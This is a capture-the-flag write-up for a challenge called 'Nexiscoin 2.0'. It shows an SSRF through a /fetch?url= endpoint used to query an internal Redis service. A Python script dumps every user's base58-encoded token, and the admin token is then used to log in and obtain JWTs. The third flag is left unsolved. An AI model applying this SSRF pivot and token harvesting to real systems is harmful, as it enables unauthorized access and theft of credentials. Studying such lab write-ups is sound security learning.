← BACK

Nexiscoin 2.0

< Go back

Flag 1

Recon

We are given a website with documentation about it's API, we learn that there are /admin/ routes that require the correct Access Token, and that there is a whole transaction system with blockchain (This is not a Web3 challenge, it's just a simulation).

we can't do much with it, login/register routes are "disabled by admin", and all the transactions data are read-only.

Looking around some more with burp we see a GET /fetch?url=http://127.1:7379/GET/total_account HTTP/1.1 being done by the website. The /GET/total_account looks like a redis command, let's try to pass the request: /KEYS/*.

It works! We get 682 keys, two of them are not API keys but data points: total_transaction and total_account.

Flag 1: How many users are registered on the platform?

680

Flag 2

The 680 keys appear to be user IDs, let's try to call /GET/<API_key> on one of them, we get a hash, that when decoded from base58 gives the following:

{
  'header': {
    'version': 2
  },
  'payload': {
    'user': 'hsalazar@madden-riley.org',
    'type': 'user',
    'permission': 'read,write'
  },
  'signature': '44234ab207b239ab94b2c7c1199b1ee921ff8b213d1e86b6af797d339fdb5227'
}

Interesting, we can try to bruteforce the API to fetch all the data from all the users:

import requests
from time import sleep
import json
import base58

print("key;data")

for l in L:
    res = requests.get(f"http://138.195.249.52:5000/fetch?url=http://127.1:7379/GET/{l}")
    if res.status_code != 200:
        print(f"Error for {l}")
        break
    data = json.loads(res.text)
    hash = data['GET'].replace("['", "").replace("']", "")
    decoded = json.loads(base58.b58decode(hash).decode())

    print(f"{l};{decoded}")
    sleep(.1)

We this we get data.csv of all the file data for each user, and their signature.

Looking for anything that stands out we find the admin user:

key;data
token_FjVQph;{'header': {'version': 2}, 'payload': {'user': 'admin@nexiscoin.ev', 'type': 'admin', 'permission': 'read,write'}, 'signature': 'a633755fd62582550c05768e204c0cb324ab72b01442ebb04491ca3be7269414'}

Flag 2: What is the signature of the admin user?

a633755fd62582550c05768e204c0cb324ab72b01442ebb04491ca3be7269414

Flag 3

From here, the first thing that comes to mind is to try and login as the admin, to do so we use the API and try to login as that user, after some trial and error I found that you cna login using a accessToken which is the base58 data we are given for a user:

POST http://138.195.249.52:5000/api/login with as a body:

{
  "token": "2ecXF5d83jGAhHH2gjfYSJGifh9NcVo3CmQ584nkUu9kA9KrxmN3JX2USYJaaPV5pE7BMKmG4pw3zRUUDXCQjE3CY2mm3Uk9P8DwM4tujjHKVDjTVDAgcNfWx2DAMTWNiKtM4BYyJeqouup5m4b322W19ecXNy3fGD2iViPeb62pibdB63WKehVq6R5m9voW83HnxtpnfFxsarx9aSundV24WmF7w4mHUeH75PXmKP579qeUKnUBHRw8vbcDmXAEZV6QdWp5nm2
}

This gives us:

{
    "access_token1": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMzU4Mjk2OCwianRpIjoiZDIwOGMxNDUtZWY3Mi00MWZkLTk2ZjUtMTY1ODhlOTQxOGNmIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBuZXhpc2NvaW4uZXYiLCJ0eXBlIjoidXNlciJ9LCJuYmYiOjE3MzM1ODI5NjgsImNzcmYiOiIzMDlmZDIwZS1lYzE0LTRiNzAtYTk3Mi0xMDhkNmNiMWUwN2IiLCJleHAiOjE3MzM1ODM4Njh9.WncmQRRCR0dYKMOxxN3wqmeNGX4Rfh1OsybLHMCzIrI",
    "access_token2": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczMzU4Mjk2OCwianRpIjoiODQ0N2VlOWQtNzhiYi00ZWRhLTkyNjItNDRmZTY0ZWRiMjdlIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBuZXhpc2NvaW4uZXYiLCJ0eXBlIjoidXNlciJ9LCJuYmYiOjE3MzM1ODI5NjgsImNzcmYiOiI4MzRmMWJlYy0wN2VhLTQ4NzgtODI0Ni1lZmUyYWEwNDVhZmIifQ.vK_fOWH80yqDGxuJxQQ5gb5AX8hG42XkJzOIGtLSGhE"
}

Both have standard header with HS256.

access_token1:

{
  "fresh": false,
  "iat": 1733582968,
  "jti": "d208c145-ef72-41fd-96f5-16588e9418cf",
  "type": "access",
  "sub": {
    "id": 1,
    "email": "admin@nexiscoin.ev",
    "type": "user"
  },
  "nbf": 1733582968,
  "csrf": "309fd20e-ec14-4b70-a972-108d6cb1e07b",
  "exp": 1733583868
}

access_token2:

{
  "fresh": false,
  "iat": 1733582968,
  "jti": "8447ee9d-78bb-4eda-9262-44fe64edb27e",
  "type": "access",
  "sub": {
    "id": 1,
    "email": "admin@nexiscoin.ev",
    "type": "user"
  },
  "nbf": 1733582968,
  "csrf": "834f1bec-07ea-4878-8246-efe2aa045afb"
}

But from here I attempted to call the /admin/ routes of the API or even just access transactional data for the user with many different techniques, but nothing worked.

At some point the admins gave us a huge dump of all the sell/buy/transactions in the database (looks like I wasn't the only one struggling with logins 😅)

From here we have to comb trough a ton of data. I wrote some scripts, tried to parse it as much as possible, I always ended up with dead ends, the issue came from the ambiguity of the question:

Flag 3: Who is the user that made more than 15 transactions of 40000USD.

We are unsure of:

  • the format of the flag,
  • if 15 is counted as a transaction or not
  • if the user has to have made 15 transactions of 40000USD or 15 transactions of each 40000USD or more.

My best shot gave me 18 potential suspects, though the CTFd had a plugin that would also remove points for failed attempts. Loosing 100pts for each try, and the flag only values at 700 points, it was too much risk to try and guess the flag.